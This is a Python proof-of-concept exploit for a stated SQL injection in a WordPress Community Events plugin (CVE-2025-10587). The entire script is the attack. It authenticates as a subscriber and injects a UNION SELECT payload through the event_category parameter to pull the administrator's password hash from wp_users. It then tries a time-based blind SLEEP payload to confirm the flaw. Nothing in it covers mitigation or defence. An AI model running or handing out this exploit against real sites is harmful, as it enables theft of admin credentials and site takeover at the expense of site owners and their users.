CVE-2025-10587

# CVE-2025-10587 - WordPress Community Events Plugin SQL Injection PoC # Vulnerability: SQL Injection via event_category parameter # Affected versions: <= 1.5.1 # Requires: Subscriber-level authentication import requests # Target WordPress site URL TARGET_URL = "http://target-wordpress-site.com" USERNAME = "subscriber_user" PASSWORD = "subscriber_password" # Step 1: Login to WordPress to get authentication cookies session = requests.Session() login_url = f"{TARGET_URL}/wp-login.php" login_data = { "log": USERNAME, "pwd": PASSWORD, "wp-submit": "Log In", "redirect_to": f"{TARGET_URL}/wp-admin/", "testcookie": "1" } session.post(login_url, data=login_data) # Step 2: Exploit SQL Injection via event_category parameter # The malicious payload uses UNION SELECT to extract admin password hash exploit_url = f"{TARGET_URL}/wp-admin/admin.php" payload = "1' UNION SELECT user_pass FROM wp_users WHERE ID=1-- -" params = { "page": "community-events", "event_category": payload } response = session.get(exploit_url, params=params) print("Response status:", response.status_code) print("Response body:", response.text[:2000]) # Alternative: Time-based blind SQL injection import time time_payload = "1' AND (SELECT SLEEP(5))-- -" params_time = { "page": "community-events", "event_category": time_payload } start_time = time.time() response = session.get(exploit_url, params=params_time) elapsed = time.time() - start_time print(f"\nTime-based test elapsed: {elapsed:.2f} seconds") if elapsed > 4: print("Vulnerable to time-based blind SQL injection!")

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